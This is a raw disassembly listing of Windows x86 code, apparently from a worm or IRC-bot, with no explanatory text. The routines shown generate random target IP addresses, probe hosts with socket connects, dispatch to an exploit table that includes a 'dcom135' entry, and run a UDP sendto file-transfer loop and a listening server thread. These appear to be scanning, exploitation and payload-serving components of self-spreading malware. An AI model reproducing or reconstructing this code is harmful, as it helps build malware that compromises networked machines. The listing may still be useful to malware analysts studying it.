test eax, eax
jnz loc_406F13
push ebx
push ebx
push [ebp+var_8]
call sub_416CDE
push [ebp+var_8]
lea eax, [ebp+var_57C]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi
push 1
push eax
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call sub_416A57
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_43CA88 ; sendto
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset unk_427268
loc_406EC7: ; CODE XREF: sub_406B84+47Ej
lea eax, [ebp+var_780]
push eax
call sub_415316
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_406F01
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412BD1
add esp, 14h
loc_406F01: ; CODE XREF: sub_406B84+358j
lea eax, [ebp+var_780]
push eax
call sub_40B078
pop ecx
jmp loc_40701D
; ---------------------------------------------------------------------------
loc_406F13: ; CODE XREF: sub_406B84+2B6j
; sub_406B84+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_427254
push edi
call dword_43CA88 ; sendto
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_427218
push eax
call sub_415316
lea eax, [ebp+var_D8]
push eax
call sub_40B078
add esp, 14h
jmp loc_40701D
; ---------------------------------------------------------------------------
loc_406F59: ; CODE XREF: sub_406B84+275j
cmp [ebp+var_D7], 4
jnz loc_407007
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_406F90
inc al
xor cl, cl
mov [ebp+var_57D], bl
jmp short loc_406F98
; ---------------------------------------------------------------------------
loc_406F90: ; CODE XREF: sub_406B84+3FEj
inc cl
mov [ebp+var_57D], cl
loc_406F98: ; CODE XREF: sub_406B84+40Aj
mov [ebp+var_57E], al
push ebx
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_416CDE
push [ebp+var_8]
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_416A57
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_43CA88 ; sendto
cmp edi, ebx
jnz short loc_40701D
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_4271C8
jmp loc_406EC7
; ---------------------------------------------------------------------------
loc_407007: ; CODE XREF: sub_406B84+268j
; sub_406B84+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_4271B8
push edi
call dword_43CA88 ; sendto
loc_40701D: ; CODE XREF: sub_406B84+204j
; sub_406B84+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_406D2F
loc_407029: ; CODE XREF: sub_406B84+1B4j
push edi
call dword_43CABC ; closesocket
push [ebp+var_8]
call sub_415960
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_40705D
push [ebp+var_170]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_40705D: ; CODE XREF: sub_406B84+4C4j
push 3E8h
call dword_421060 ; Sleep
push esi
loc_407069: ; CODE XREF: sub_406B84+123j
call sub_406B84
pop edi
pop esi
pop ebx
leave
retn 4
sub_406B84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407075 proc near ; CODE XREF: sub_40CD3A+5753p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
loc_407078: ; DATA XREF: .text:00424DDCo
; .text:00424DF0o ...
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_427728
push eax
xor ebx, ebx
call sub_415316
cmp dword_427388, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_4070E3
push esi
mov esi, offset dword_427390
loc_4070A8: ; CODE XREF: sub_407075+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_415316
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_416DB0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_4070A8
pop esi
loc_4070E3: ; CODE XREF: sub_407075+2Bj
push dword_46AE88
call sub_40A8CF
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_415316
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_416DB0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_200]
push eax
call sub_40B078
add esp, 38h
pop edi
pop ebx
leave
retn
sub_407075 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40713F proc near ; CODE XREF: sub_40CD3A+50A5p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_41501C
test eax, eax
pop ecx
jle short loc_40717B
mov eax, [ebp+arg_C]
push dword_43B678[eax*8]
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_427794
push eax
call sub_415316
add esp, 0Ch
jmp short loc_40718E
; ---------------------------------------------------------------------------
loc_40717B: ; CODE XREF: sub_40713F+13j
lea eax, [ebp+var_200]
push offset unk_427760
push eax
call sub_415316
pop ecx
pop ecx
loc_40718E: ; CODE XREF: sub_40713F+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_200]
push eax
call sub_40B078
add esp, 18h
leave
retn
sub_40713F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4071B6 proc near ; CODE XREF: sub_4078DF+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_407534
imul eax, 3Ch
xor ebx, ebx
cmp dword_427394[eax], ebx
jz loc_407427
push 4
call sub_41501C
test eax, eax
pop ecx
jnz loc_407534
mov eax, dword_42C244
push edi
mov edi, offset dword_43BFF4
push 104h
push edi
push ebx
mov dword_43C204, eax
mov dword_43C200, ebx
call dword_42107C ; GetModuleFileNameA
push 103h
mov esi, offset dword_43C0F8
push offset byte_42C2B4
push esi
call sub_416BE0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_43BFF0, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43C288, eax
jnz short loc_407266
lea eax, [ebp+arg_10]
push eax
push offset dword_43C208
call sub_416BE0
mov dword_43C28C, 1
jmp short loc_40727D
; ---------------------------------------------------------------------------
loc_407266: ; CODE XREF: sub_4071B6+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_43C208
call sub_416BE0
mov dword_43C28C, ebx
loc_40727D: ; CODE XREF: sub_4071B6+AEj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push edi
push dword_43C204
push offset unk_427948
push eax
call sub_415316
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_414DDA
add esp, 20h
mov dword_43C1FC, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43BFF0
push offset sub_406B84
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, dword_43C1FC
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz loc_40737C
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_427900
push eax
call sub_415316
add esp, 0Ch
loc_4072FC: ; CODE XREF: sub_4071B6+1CEj
lea eax, [ebp+var_204]
push eax
call sub_40B078
mov edi, offset dword_43C64C
mov [esp+210h+var_210], 104h
push edi
push ebx
mov dword_43C858, ebx
call dword_42107C ; GetModuleFileNameA
push 103h
mov esi, offset dword_43C750
push offset byte_42C2B4
push esi
call sub_416BE0
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_43C648, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_43C8E0, eax
jnz short loc_407389
lea eax, [ebp+arg_10]
push eax
push offset dword_43C860
call sub_416BE0
mov dword_43C8E4, 1
jmp short loc_4073A0
; ---------------------------------------------------------------------------
loc_407374: ; CODE XREF: sub_4071B6+1CCj
push 32h
call dword_421060 ; Sleep
loc_40737C: ; CODE XREF: sub_4071B6+125j
cmp dword_43C290, ebx
jz short loc_407374
jmp loc_4072FC
; ---------------------------------------------------------------------------
loc_407389: ; CODE XREF: sub_4071B6+1A2j
lea eax, [ebp+arg_90]
push eax
push offset dword_43C860
call sub_416BE0
mov dword_43C8E4, ebx
loc_4073A0: ; CODE XREF: sub_4071B6+1BCj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push edi
push dword_43C85C
push offset dword_4278A8
push eax
call sub_415316
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_414DDA
add esp, 20h
mov dword_43C854, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43C648
push offset sub_405398
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, dword_43C854
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_40741A
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_427860
jmp loc_407518
; ---------------------------------------------------------------------------
loc_407412: ; CODE XREF: sub_4071B6+26Aj
push 32h
call dword_421060 ; Sleep
loc_40741A: ; CODE XREF: sub_4071B6+249j
cmp dword_43C8E8, ebx
jz short loc_407412
jmp loc_407527
; ---------------------------------------------------------------------------
loc_407427: ; CODE XREF: sub_4071B6+25j
cmp dword_427398[eax], ebx
jz loc_407534
push 3
call sub_41501C
test eax, eax
pop ecx
jnz loc_407534
mov esi, offset dword_43C524
push 104h
push esi
push ebx
call dword_42107C ; GetModuleFileNameA
push 5Ch
push esi
call sub_416EE0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_407465
mov [eax], bl
loc_407465: ; CODE XREF: sub_4071B6+2ABj
mov eax, dword_42C248
mov dword_43C63C, ebx
mov dword_43C628, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_43C29C
call sub_415316
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_43C298, eax
mov ecx, [ebp+arg_138]
push esi
push dword_43C628
mov dword_43C634, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_43C638, ecx
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_427810
push eax
call sub_415316
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_414DDA
add esp, 20h
mov dword_43C630, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_43C298
push offset sub_405A96
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, dword_43C630
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_407540
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4277C8
loc_407518: ; CODE XREF: sub_4071B6+257j
lea eax, [ebp+var_204]
push eax
call sub_415316
add esp, 0Ch
loc_407527: ; CODE XREF: sub_4071B6+26Cj
; sub_4071B6+392j
lea eax, [ebp+var_204]
push eax
call sub_40B078
pop ecx
loc_407534: ; CODE XREF: sub_4071B6+14j
; sub_4071B6+35j ...
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_407538: ; CODE XREF: sub_4071B6+390j
push 32h
call dword_421060 ; Sleep
loc_407540: ; CODE XREF: sub_4071B6+354j
cmp dword_43C644, ebx
jz short loc_407538
jmp short loc_407527
sub_4071B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40754A proc near ; CODE XREF: sub_4076CB:loc_40772Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:43B678h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_4153F0
add esp, 0Ch
push [ebp+arg_0]
call dword_43C958 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_43CA20 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_4153F0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40754A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407592 proc near ; CODE XREF: sub_4076CB+5Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_415B10
cmp eax, 0Fh
pop ecx
jbe short loc_4075BA
xor eax, eax
jmp short loc_40762B
; ---------------------------------------------------------------------------
loc_4075BA: ; CODE XREF: sub_407592+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_416947
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_4075E7
call sub_415372
mov [ebp+var_C], eax
loc_4075E7: ; CODE XREF: sub_407592+4Bj
cmp [ebp+var_8], esi
jnz short loc_4075F4
call sub_415372
mov [ebp+var_8], eax
loc_4075F4: ; CODE XREF: sub_407592+58j
cmp [ebp+var_4], esi
jnz short loc_407601
call sub_415372
mov [ebp+var_4], eax
loc_407601: ; CODE XREF: sub_407592+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40760D
call sub_415372
loc_40760D: ; CODE XREF: sub_407592+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_43B678[ecx*8], eax
loc_40762B: ; CODE XREF: sub_407592+26j
pop esi
leave
retn
sub_407592 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40762E proc near ; CODE XREF: sub_4076CB+A9p
; sub_412A1D+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_43CAA4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_407657
xor eax, eax
jmp short loc_4076C6
; ---------------------------------------------------------------------------
loc_407657: ; CODE XREF: sub_40762E+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_43CA24 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_43CAC0 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_43C9CC ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_43CA0C ; select
push esi
mov edi, eax
call dword_43CABC ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_4076C6: ; CODE XREF: sub_40762E+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40762E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4076CB proc near ; DATA XREF: sub_4078DF+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_42104C ; GetTickCount
push eax
call sub_415368
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_4078BC
; ---------------------------------------------------------------------------
loc_407717: ; CODE XREF: sub_4076CB+1FFj
cmp [ebp+var_10], 0
push eax
jz short loc_40772D
lea eax, [ebp+var_150]
push eax
call sub_407592
pop ecx
jmp short loc_407732
; ---------------------------------------------------------------------------
loc_40772D: ; CODE XREF: sub_4076CB+51j
call sub_40754A
loc_407732: ; CODE XREF: sub_4076CB+60j
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_441B9C[ebx]
push [ebp+var_3C]
push edi
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_4279E8
push eax
call sub_415316
lea eax, [ebp+var_28C]
push eax
lea eax, dword_441998[ebx]
push eax
call sub_415316
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40762E
add esp, 2Ch
cmp eax, 1
jnz loc_4078B1
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_407806
push offset dword_43BFD8
call dword_4210B4 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_4279A8
push eax
call sub_415316
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_4077E8
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_4077DC
lea eax, [ebp+var_140]
loc_4077DC: ; CODE XREF: sub_4076CB+109j
push eax
push [ebp+var_40]
call sub_412BD1
add esp, 14h
loc_4077E8: ; CODE XREF: sub_4076CB+EEj
lea eax, [ebp+var_28C]
push eax
call sub_40B078
mov [esp+2A8h+var_2A8], offset dword_43BFD8
call dword_4210B0 ; RtlLeaveCriticalSection
jmp loc_4078B1
; ---------------------------------------------------------------------------
loc_407806: ; CODE XREF: sub_4076CB+BEj
push edi
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_415316
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aDcom135_0 ; "dcom135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_415316
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40784A
lea eax, [ebp+var_140]
loc_40784A: ; CODE XREF: sub_4076CB+177j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_415316
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_42738C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_4078B1: ; CODE XREF: sub_4076CB+B4j
; sub_4076CB+136j
push 7D0h
call dword_421060 ; Sleep
loc_4078BC: ; CODE XREF: sub_4076CB+47j
mov eax, dword_441B9C[ebx]
cmp dword_43B67C[eax*8], 0
jnz loc_407717
push esi
call sub_4150F0
pop ecx
push 0
call dword_421048 ; ExitThread
sub_4076CB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4078DF proc near ; DATA XREF: sub_40CD3A+3137o
; sub_40CD3A+4D09o
var_20C = dword ptr -20Ch
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_14C]
inc ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_43CA64 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_43B678[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_4071B6
push 8
call sub_41501C
add esp, 150h
cmp eax, ebx
jnz short loc_4079AD
mov esi, offset dword_43BFD8
push esi
call dword_4210BC ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4210B8 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_4079AD
lea eax, [ebp+var_1CC]
push offset unk_427B30
push eax
call sub_415316
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_407997
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_412BD1
add esp, 14h
loc_407997: ; CODE XREF: sub_4078DF+99j
lea eax, [ebp+var_1CC]
push eax
call sub_40B078
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4079AD: ; CODE XREF: sub_4078DF+63j
; sub_4078DF+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_421060
mov edi, ebx
mov dword_43B67C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_407A6F
loc_4079CB: ; CODE XREF: sub_4078DF+18Aj
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_427AE0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_414DDA
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_441B9C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_4076CB
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_407A86
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_427A90
push eax
call sub_415316
lea eax, [ebp+var_1CC]
push eax
call sub_40B078
add esp, 10h
loc_407A61: ; CODE XREF: sub_4078DF+1ACj
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_4079CB
loc_407A6F: ; CODE XREF: sub_4078DF+E6j
cmp [ebp+var_30], ebx
jz short loc_407A94
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
jmp short loc_407AA1
; ---------------------------------------------------------------------------
loc_407A82: ; CODE XREF: sub_4078DF+1AAj
push 1Eh
call esi ; Sleep
loc_407A86: ; CODE XREF: sub_4078DF+159j
cmp [ebp+var_4], ebx
jz short loc_407A82
jmp short loc_407A61
; ---------------------------------------------------------------------------
loc_407A8D: ; CODE XREF: sub_4078DF+1C0j
push 7D0h
call esi ; Sleep
loc_407A94: ; CODE XREF: sub_4078DF+193j
mov eax, [ebp+var_2C]
cmp dword_43B67C[eax*8], 1
jz short loc_407A8D
loc_407AA1: ; CODE XREF: sub_4078DF+1A1j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_43B678[eax*8]
push eax
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_427A38
push eax
call sub_415316
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_407AEF
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_412BD1
add esp, 14h
loc_407AEF: ; CODE XREF: sub_4078DF+1F1j
lea eax, [ebp+var_1CC]
push eax
call sub_40B078
mov eax, [ebp+var_2C]
mov [esp+20Ch+var_20C], 0BB8h
mov dword_43B67C[eax*8], ebx
call esi ; Sleep
push 8
call sub_41501C
cmp eax, 1
pop ecx
jnz short loc_407B26
push offset dword_43BFD8
call dword_4210BC ; RtlDeleteCriticalSection
loc_407B26: ; CODE XREF: sub_4078DF+23Aj
push [ebp+var_2C]
call sub_4150F0
pop ecx
push ebx
call dword_421048 ; ExitThread
sub_4078DF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_407B36 proc near ; DATA XREF: sub_40CD3A+3509o
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
xor edi, edi
push 10h
inc edi
pop ebx
mov [eax+120h], edi
xor esi, esi
push ebx
lea eax, [ebp+var_10]
push esi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call dword_43CA24 ; ntohs
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_43CAA4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_407C99
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_441BA4[eax], ebx
call dword_43C940 ; WSAAsyncSelect
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43CA50 ; bind
test eax, eax
jnz loc_407C99
push 0Ah
push ebx
call dword_43CA4C ; listen
test eax, eax
jnz loc_407C99
loc_407BE0: ; CODE XREF: sub_407B36+BEj
; sub_407B36+15Ej
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_43CAB8 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_407BE0
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_34C]
push offset unk_427BD0
push eax
call sub_415316
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_414DDA
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_441B9C[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset sub_407CBD
push esi
push esi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_441BAC[ecx], eax
jnz short loc_407C8F
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_427B80
call sub_40B0EC
pop ecx
pop ecx
jmp short loc_407C9C
; ---------------------------------------------------------------------------
loc_407C87: ; CODE XREF: sub_407B36+15Cj
push 32h
call dword_421060 ; Sleep
loc_407C8F: ; CODE XREF: sub_407B36+13Aj
cmp [ebp+var_2C], esi
jz short loc_407C87
